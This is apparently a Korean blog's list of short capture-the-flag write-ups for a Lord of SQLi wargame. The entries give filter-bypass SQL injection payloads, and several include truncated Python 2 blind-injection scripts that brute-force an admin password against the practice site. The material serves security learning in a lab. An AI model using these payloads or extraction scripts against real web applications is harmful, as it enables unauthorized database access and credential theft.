분류 전체보기

서론 NULL 진행과정 싱글 쿼터가 필터링 되어있지만, 더블쿼터는 이용가능하다.?no=0 || id like "admin" 123456789101112131415import urllib, httplibconn = httplib.HTTPConnection("los.eagle-jump.org")url = "/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=0"Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = ""for i in range(1, 9) : for j in range(48, 123) : payload =' || id like "admin" %26%26 hex(mid(pw, '+str(i)+"..

서론 NULL 진행과정 =과 논리연산 들을 못쓰게 막혀있다. =대신 like를 이용하면 된다.'||id like 'admin1234567891011121314151617import urllib, httplib conn = httplib.HTTPConnection("los.eagle-jump.org")url = "/golem_39f3348098ccda1e71a4650f40caa037.php?pw="Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = "" for i in range(1, 9) : for j in range(48, 123) : payload ="'||id like 'admin' %26%26 mid(pw, "+str(i)+", 1) ..

서론 NULL 진행과정 and 1=0때문에 항상 거짓이 된다. 이 부분을 주석처리하면 가볍게 해결가능.pw='or id='admin'%23 # REF NULL

서론 NULL 진행과정 admin이 필터링되면 admin이 되게끔 만들면 된다.?id=aadmindmin # REF NULL

서론 NULL 진행과정 @ereg함수는 대/소문자를 구분한다.?id=Admin # REF NULL

서론 NULL 진행과정 Darkelf와 마찬가지로 ||를 이용해 우회한 뒤, Blind SQLi이용.1234567891011121314151617181920212223242526import httplib, urllib conn = httplib.HTTPConnection("los.eagle-jump.org")URL = "/orge_40d2b61f694f72448be9c97d1cea2480.php?pw="Headers={"Cookie":"PHPSESSID=s3kvsj2f9dq4c4ke7b0qmfaic6"}length = 0PW = "" for i in range(1, 20) : payload = "pw=%27%20||%20id=%27admin' %26%26 " + "length(pw)='"+str(i)+"..

서론 NULL 진행과정 or, and 등의 논리 연산을 못쓰게 되어있다. 하지만 and는 %26, or은 ||를 통해 대체가능하다. 이를 이용하자.?pw=' || id = 'admin # REF NULL

서론 NULL 진행과정 whitespace가 금지되어있다. %20 뿐만 아니라, %0a등등도 공백문자로 쓰일 수 있다.?pw='%0aor%0aid='admin'# # REF NULL

서론 NULL 진행과정 망설일 필요가 없다. 뭐 제한이 있는것도 아니니까. 싱글쿼터를 이용해 쿼터를 닫고 or 을 이용해서 id를 주자.?pw=' or id='admin#이걸 이용하면 hello admin을 얻을 수 있는데 이를, 페이로드라 하겠다. 맨 밑 구문인 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");때문에 Blind SQLi를 시행해야된다. 이 블로그에서 작성한 모든 Blind SQLi Coding은 Python 2.7.12로 작성한 코드이다.1234567891011121314151617181920212223242526import httplib, urllib conn = httplib.HTTPConnection("los...

서론 NULL 진행과정 특이하게도, Goblin 문제는 no를 GET으로 받는다. no를 아무거나 대입하다보면 no=1인 경우 Hello Guest가 뜨는 것을 파악할 수 있다. 이런 경우 이 상태일 때를 이용해 no을 제한 해줘야한다. 키워드는 limit이다.?no=1 or 1 limit 1,1 # REF NULL

서론 NULL 진행과정 pw쿼리에 md5('')가 붙어서 이 조건을 클리어해도 되지만. id인자를 받아주는 게 보인다. md5조건을 주석화 시키면 쉽게 해결가능하다. 키워드 주석(SQL 에선 #을 주석으로 표현한다.)?id=admin' or 1='1# # REF NULL

서론 NULL 진행과정 아무런 방해를 받지않는 코드이다. GET 방식으로 pw를 받는 모습을 볼 수 있다.?pw= or id='admin # REF NULL